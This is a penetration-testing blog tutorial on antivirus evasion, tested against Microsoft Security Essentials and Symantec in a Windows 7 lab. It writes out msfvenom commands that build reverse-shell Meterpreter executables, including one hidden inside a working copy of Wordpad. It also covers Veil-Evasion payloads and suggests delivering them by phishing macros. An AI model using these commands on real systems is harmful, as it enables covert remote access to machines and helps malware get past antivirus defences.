A/V Ain’t Got Nothing On Me!

Anti-Virus Vendors vs. Penetration Testers

While Metasploit is a great framework for conducting penetration tests, it’s popularity hasn’t gone unnoticed by anti-virus (a/v) vendors.  Standard Metasploit payload executables started getting flagged by a/v products in 2009 and now are picked up by a majority of a/v products out on the market.  If you can’t get your payload past your clients’s a/v software, you just might find yourself dead in the water before you’ve even begun.

The problem is that professional malware writers, organized crime, and nation state actors have no problem breezing past a/v software, successfully bypassing these solutions for years.  We, as penetration testers, are finding ourselves getting flagged because we are utilizing popular tools that are well-known to a/v vendors.  In this post, we will explore the topic of a/v evasion.

Know Your Enemy:  How Does Anti-Virus Software Work?

While specific detection mechanisms vary from vendor to vendor and are generally kept close to the chest, at a high-level, there are two main methods utilized by a/v software:

Signature-based detection is the older and most common method of detection.  A/v software maintains a large database of known malicious patterns and will look for any matches against the software being analyzed.  This method is relatively quick and doesn’t put a lot of stress on the hardware.  Additionally, a/v vendors can easily deploy new signatures to the database by simply adding new templates based on quick and dirty analysis of identified malicious software.  However, while being easy for vendors to implement and maintain, it’s also relatively easy to bypass due to its reliance on static entries.

Heuristic-based detection is often utilized in combination with signature-based detection.  The a/v software analyzes the behavior of software to determine whether its performing malicious activities.  This is commonly achieved by sandboxing a program for a period of time to analyze its actions (such as writing to memory in a specific manner or immediately opening a channel and attempting to establish an external connection) for questionable behavior.  This method can catch malicious programs that did not match against any known a/v signatures; however, it comes at the cost of performance and therefore vendors often have to compromise between security and usability when implementing this heuristic analysis.

In addition to these two methods, a/v software may utilize some sort of reputation logic that would allow for known “safe” programs (signed by known developers, match a known hash, etc.) to bypass or undergo less extensive detection procedures (such as being sandboxed for a shorter period of time).  This is an attempt by a/v vendors to reduce impact to the system and provide a better experience for the customer.

Lab Setup

For the demonstrations in this post, we will have two Windows 7 lab machines, ENVY and GREED, loaded with a/v software.  On GREED,  Microsoft Security Essentials (MSE) has been loaded up updated with the latest definitions.  On ENVY, Symantec Endpoint Protection (SEP) 12.1 has been installed and fully updated.  I’ve chosen to install MSE because of its popularity.  Microsoft currently holds 19.4% of the antivirus market share, a close second behind the industry leader, Avast.  While Symantec only holds 7.1% of the market share, I’ve selected it because I’ve run up against SEP on several engagements and spent precious time trying to bypass this particular software.  So… with Symantec it’s personal!  😉  In the graph below you can see the breakdown of the a/v vendor market share:

source: opswat.com, 2015

Note: I want to quickly point out that it pays to do your research ahead of pentesting engagements to determine what a/v product is deployed in the environment.  This allows you to spend your time and effort dedicated to bypassing what software you are actually going to face ahead of the mission.  Don’t make the mistake I did and waste precious engagement time because you weren’t prepared!

Generating Payloads With MSFVenom

This post assumes the reader has a basic familiarity with MSFVenom.  If needed, check out the Metasploit Unleashed post on it here.

For our first attempt to bypass a/v, we are going to generate a standard Metasploit executable utilizing MSFVenom that will spawn a reverse meterpreter shell:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o standard.exe

Let’s deploy this executable on the GREED machine and see if gets by MSE…

CAUGHT!  As you can see, MSE has flagged this exploitable as malicious.  Why is this?  While it can be difficult to determine the exact element that a particular a/v software has flagged as malicious, it is well-known in the pentesting community that a/v vendors have written signatures for the standard Metasploit executable templates.  These templates are the “containers” that shellcode generated by the encoder is inserted into in order to create an executable… and these templates are static.  What this means is that even if your shellcode wasn’t detected as malicious by a/v software, the template itself would most likely be flagged, regardless.  This is a prime example of a/v vendors looking for a quick-and-dirty way to flag malicious files.

So, now that we have witnessed that built-in Metasploit templates are an issue, let’s utilize msfvenom to inject reverse meterpreter shellcode into an existing executable, Wordpad, and use that common Windows program as our new template:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -x wordpad.exe -k -f exe -o wordpad1.exe

Downloading and running this program on GREED, you can see below that Wordpad’s functionality is still intact (courtesy of the -k switch) and MSE has not flagged the executable as malicious.  We received a Meterpreter session back and are able to successfully interact with it.  SCORE!

Over on the ENVY machine, things aren’t quite as simple with SEP.  Running Wordpad results in the program throwing an error saying that it can’t open a new document.

Despite the error, SEP doesn’t seem to log the program’s network activity as malicious:

Our Meterpreter session is established; however, it is far from stable and closes shortly after being established (or when the user closes out the wordpad1 error message… whichever comes first).  While I can’t be sure, I suspect that SEP has sandboxed our application for behavior analysis.  This may be restricting our program’s ability to communicate.  That being said, if you are super quick with a keyboard, it might be possible to migrate to another process and get a stable connection, followed by running the getsystem and killav commands within Meterpreter.  I think we can agree that this scenario is far from ideal even if it appears that we successfully bypassed signature detection.  Let’s look at other means of bypassing a/v…

Note:  You may see references to utilizing polymorphic encoders (specifically shikata_ga_nai) within Metasploit as a viable method for evading detection.  While these types of encoders did have an unintended side-effect of bypassing a/v in the past, this often doesn’t hold true with modern detection software.  The primary purpose of encoders is to remove bad characters (x00, x0A, etc.) from shellcode that might cause undesirable results in a program.

Nothing To See Here:  Under The Radar With Veil-Evasion 

Veil-Evasion is part of a suite of penetration testing tools known collectively as the Veil Framework.  The Framework’s theme is focused on stealth and is the collaborative effort of Chris Truncer (@ChrisTruncer), Will Schroeder (@harmj0y), and Mike Wright (@TheMightyShiv).  While all the tools in Veil are awesome and should be explored, Veil-Evasion is the bread-and-butter program in the framework and focuses on generating a/v-evading executables.  In Kali 2.0, you can install Veil-Evasion via the Kali repository or  through git cloning:

apt-get install veil-evasion
git clone https://github.com/Veil-Framework/Veil-Evasion.git

The authors of Veil-Evasion seek to enable penetration testers the ability to bypass a/v software as easily as professional malware does (even if the methods utilized are not the same).  Tired of wasting time on engagements attempting to circumvent a/v instead of providing value to the client, the Veil guys looked to develop evasion methods into an organized program.

Veil-Evasion utilizes a mix of following techniques in an attempt to evade detection:

• Randomization of variable names and methods
• Encryption of source
• Native stagers (shellcode-less)
• Method nops (randomizing program’s call tree via dummy methods)
• Obfuscated loaders

Let’s go ahead and fire up Veil-Evasion…

As of September 2015, Veil-Evasion contains over 40 payloads to choose from in a variety of languages:

Let’s begin with the Python Reverse HTTPS Meterpreter payload, since Python was the first supported language by Veil-Evasion.  Simply type use 29 or use python/meterpreter/rev_https.  As you can see below, I’ve set the payload option to utilize Pyherion, which will encrypt the entire payload string, to include the decrypter stub itself (decrypter stubs are often left static, which is one reason polymorphic encoders such as shikata_ga_nai are no longer effective at a/v evasion).

Once I have my options set, I simple type generate and Veil-Evasion proceeds to compile my executable (which I’ve cleverly named notepad).  In addition to creating my .exe, you’ll notice below that a payload file (raw python for your code-reviewing pleasure) and a handler file (.rc) have also been generated and dumped under /var/lib/veil-evasion/output/.

The handler file is convenient, as running it with the following syntax will fire up Metasploit and set up all the appropriate handler options on your behalf:

msfconsole -r /var/lib/veil-evasion/output/handlers/notepad_handler.rc

Now that we’ve generated our executable and our handler is ready to go, let’s see how it fares against MSE:

SUCCESS!  We received our reverse shell and you can see that our current process is in fact tied to our notepad executable when (verified by running getpid and ps commands from within Meterpreter).

Let’s move on to the ENVY machine and see how notepad.exe holds up to scrutiny by SEP:

CAUGHT!  Again, while it’s hard to pinpoint exactly what a/v software triggers on, because the Python payloads in Veil have been out for a while, it’s possible that Symantec has updated their detection methods to target the methods utilized by this payload.  That being said, SEP did not sound the alarm until after the executable was run, therefore it may be the a/v’s heuristic engine that actually caught us.  Let’s configure a PowerShell Reverse HTTPS Meterpreter payload, use 21 or use powershell/meterpreter/rev_https:

Notice below that instead of generating an .exe file, Veil-Evasion’s PowerShell payloads create a batch (.bat) file.  The batch file acts as a wrapper of sorts for the PowerShell commands and shellcode.

Let’s go ahead and run this script after deploying our handler and see how SEP fares:

GREAT SUCCESS!  Our PowerShell payload has connected to our handler and opened a Meterpreter session!  However, presenting a user with a batch file could possibly draw suspicion.  A better (read: stealthier) option for us might be to extract the PowerShell script and shellcode from the batch file wrapper and throw it into a Java applet or Microsoft Office macro as part of a phishing campaign.  These techniques will be explored in more detail in a future post.  Until then, happy evading!

Veil Resources

Official Website

Official Github

BSides DC 2014 – Adventures In Asymmetric Warfare: Fighting The AV Vendors